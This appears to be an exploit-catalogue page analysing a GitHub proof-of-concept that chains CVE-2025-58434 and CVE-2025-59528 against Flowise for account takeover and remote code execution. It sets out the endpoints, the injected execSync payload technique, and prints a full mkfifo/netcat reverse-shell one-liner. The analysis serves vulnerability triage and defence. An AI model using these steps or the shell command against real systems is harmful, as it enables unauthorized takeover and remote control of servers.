AzureADTrent/CVE-2025-58434-59528

GitHubRepository PoCExploit

PoC files

2 files

File viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.

GitHub
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

A Python exploit chain targeting Flowise <= 3.0.5. It chains CVE-2025-58434 (unauthenticated password reset token disclosure) to achieve account takeover, then uses the obtained API key to trigger CVE-2025-59528 (authenticated remote code execution via CustomMCP node JS injection) to execute arbitrary OS commands or spawn a reverse shell.

Backdoor review

No backdoor observed in reviewed code

The artifact is a Python exploit script and README for CVE-2025-58434 and CVE-2025-59528. The script performs the documented exploit chain: it leaks a password reset token, resets a password, prompts the user for an API key, and then triggers RCE via a CustomMCP node. No concealed, deceptive, or operator-directed harmful behavior beyond the stated exploit functionality was observed.

ClassificationExploit
Model confidence100%
AuthenticationNot required
LanguagesPython
Target softwareFlowise
Attack typesAccount TakeoverRemote Code ExecutionCode Injection
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The artifact contains a complete, executable Python script (flowise_chain.py) that actively exploits two vulnerabilities: it sends crafted HTTP requests to leak a password reset token, resets the password, and then injects JavaScript code via the Function() constructor to execute arbitrary OS commands or spawn a reverse shell. The README explicitly describes it as an 'Exploit chain' and provides usage examples for full ATO and RCE.

README.md:3flowise_chain.py:1-259

Requirements

  • Target Flowise instance <= 3.0.5 with exposed APIflowise_chain.py:8
  • Valid email address of a Flowise user (for full ATO chain)flowise_chain.py:164-165
  • Python 3.8+ with requests libraryREADME.md:21-22

Observed behavior

  • Sends unauthenticated POST to /api/v1/account/forgot-password to extract a password reset tempToken from the API responseflowise_chain.py:58-71
  • Uses the leaked tempToken to reset the target account's password via /api/v1/account/reset-passwordflowise_chain.py:74-83
  • Instructs the operator to manually log in to the web UI to retrieve the API key, then optionally collects attacker IP/port for a reverse shellflowise_chain.py:86-120
  • Constructs a JavaScript payload that uses process.mainModule.require('child_process').execSync() to execute an OS commandflowise_chain.py:136-142
  • Sends the JS payload inside the mcpServerConfig field to /api/v1/node-load-method/customMCP with the Bearer API key, triggering remote code executionflowise_chain.py:128-153
  • Optionally builds and delivers a mkfifo-based reverse shell payloadflowise_chain.py:123-125
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Exploit Behavior
The script exploits CVE-2025-58434 to leak a password reset token and reset a password, then exploits CVE-2025-59528 to execute arbitrary commands or a reverse shell on a Flowise target.This is the documented purpose of the artifact and matches the CVE descriptions. No hidden or unrelated actions are performed.flowise_chain.py:58-71flowise_chain.py:74-83flowise_chain.py:128-153
Reverse Shell Command
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/fThis is a standard mkfifo reverse shell payload, consistent with the stated RCE exploit. It is only executed against the target specified by the user.flowise_chain.py:123-125
User Interaction
The script prompts the user to manually log in to the target UI, copy an API key, and optionally provide LHOST/LPORT for a reverse shell.This is explained as a workaround for a Flowise 3.0.5 quirk. It does not exfiltrate data or perform actions without user consent.flowise_chain.py:86-120
Review boundaries

What the analysis did not establish

  • Evidence is limited to the supplied source code and README; no runtime output, network traffic, or target interaction was observed.
  • The exploit requires manual operator interaction to retrieve the API key from the web UI after password reset, as noted in the script comments.
  • Only the two text files (README.md and flowise_chain.py) were provided; no binary or other files were present in the artifact.
  • The review does not assess the safety or legality of using the exploit against systems without authorization.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Linked vulnerabilities

2